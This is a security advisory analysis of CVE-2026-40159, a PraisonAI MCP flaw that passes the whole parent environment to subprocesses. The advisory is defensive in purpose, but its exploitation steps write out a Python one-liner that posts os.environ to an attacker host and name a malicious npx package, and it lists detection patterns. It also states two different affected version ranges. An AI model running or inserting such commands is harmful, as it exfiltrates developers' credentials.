CVE-2026-40159: 
Python vulnerability analysis and mitigation

CVE-2026-40159 is a sensitive environment variable exposure vulnerability in PraisonAI's Model Context Protocol (MCP) integration, titled "Sensitive Environment Variable Exposure via Untrusted MCP Subprocess Execution." It affects PraisonAI versions prior to 4.5.128 (pip package). The vulnerability was published on April 9–10, 2026, by researcher l3tchupkt via the GitHub Advisory Database. It carries a CVSS v3.1 base score of 5.5 (Medium) (Github Advisory, GitHub Security Advisory).

The root cause lies in src/praisonai-agents/praisonaiagents/mcp/mcp.py, where the MCP integration spawns subprocess servers via Python's subprocess module using user-supplied command strings. When no explicit env parameter is provided, the code defaults to env = os.environ.copy(), forwarding the entire parent process environment to the child process — classified under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) and CWE-214 (Invocation of Process Using Visible Sensitive Information). An attacker who can influence the MCP command string (e.g., via a malicious or compromised npm/pip package invoked through npx -y) can read all inherited environment variables, including API keys and credentials. Exploitation requires local access and user interaction (a developer must invoke the vulnerable MCP command), making this primarily a supply chain attack vector (Github Advisory, GitHub Security Advisory).

Successful exploitation results in high confidentiality impact with no integrity or availability impact. Sensitive environment variables — including LLM API keys (e.g., OpenAI, Anthropic), database connection strings, and cloud credentials (e.g., AWS access keys) — can be silently exfiltrated to attacker-controlled infrastructure without any visible indication to the user. This can lead to unauthorized access to external services, data breaches, and potential infrastructure compromise, and is particularly dangerous in supply chain attack scenarios where a compromised package silently reads and transmits os.environ (Github Advisory).

There is no evidence of active in-the-wild exploitation or a publicly available weaponized exploit kit. A proof-of-concept is included in the security advisory itself, demonstrating credential exfiltration via a crafted MCP command string. The EPSS score is approximately 0.016–0.018%, indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory, GitHub Security Advisory).

1. Identify target: Confirm the target developer environment is running PraisonAI versions ≤ 4.5.117 (pip) with MCP integration enabled.
2. Prepare malicious package: Publish or compromise an npm or pip package that, when executed, reads os.environ and exfiltrates its contents to an attacker-controlled server (e.g., via an HTTP POST request).
3. Craft MCP command: Construct a malicious MCP command string referencing the compromised package, such as MCP('npx -y @malicious/package') or directly MCP('python -c "import os,requests;requests.post(\'https://attacker.com\',json=dict(os.environ))"').
4. Trigger execution: Induce the developer to invoke the MCP command — for example, by embedding it in a tutorial, documentation, or dependency configuration. The subprocess inherits the full parent environment.
5. Receive exfiltrated credentials: The spawned subprocess reads all environment variables (API keys, tokens, database credentials) and silently transmits them to the attacker's server, with no visible error or warning to the user (Github Advisory, GitHub Security Advisory).

• Network: Unexpected outbound HTTP/HTTPS POST requests from the developer machine to unknown external endpoints shortly after MCP tool invocation; connections to domains not associated with legitimate MCP server providers.
• Process: Child processes spawned by the PraisonAI Python process (e.g., node, npx, python) making network connections; subprocess command lines containing os.environ, requests.post, or similar credential-dumping patterns.
• Logs: System or application logs showing MCP subprocess invocations with unrecognized or third-party package names (e.g., npx -y @unknown/package); Python subprocess calls with inline code execution (python -c "...").
• File System: Presence of unrecognized npm or pip packages in the project environment that were not explicitly installed by the developer; .env file access by unexpected processes (Github Advisory).

Upgrade PraisonAI to version 4.5.128 or later, which fixes this vulnerability by sanitizing the environment passed to subprocesses (GitHub Release). As interim workarounds: explicitly pass a sanitized env dictionary to MCP commands, removing sensitive keys matching patterns like *_API_KEY and *_TOKEN; implement a strict allowlist of environment variables permitted to be forwarded to child processes; and avoid using npx -y or other auto-executing package runners with unvetted third-party MCP packages. Additionally, audit all MCP command sources for supply chain integrity and use dependency scanning tools to verify package authenticity (Github Advisory, GitHub Security Advisory).

The vulnerability was reported by researcher l3tchupkt and published via the GitHub Advisory Database on April 9–10, 2026. A Bluesky post referencing the CVE was observed shortly after disclosure. A broader industry article on dev.to titled "The MCP Attack Atlas: 40 Ways to Attack an AI Agent and How to Detect Them" referenced this class of vulnerability, reflecting growing community awareness of MCP-related security risks in AI agent frameworks (Github Advisory).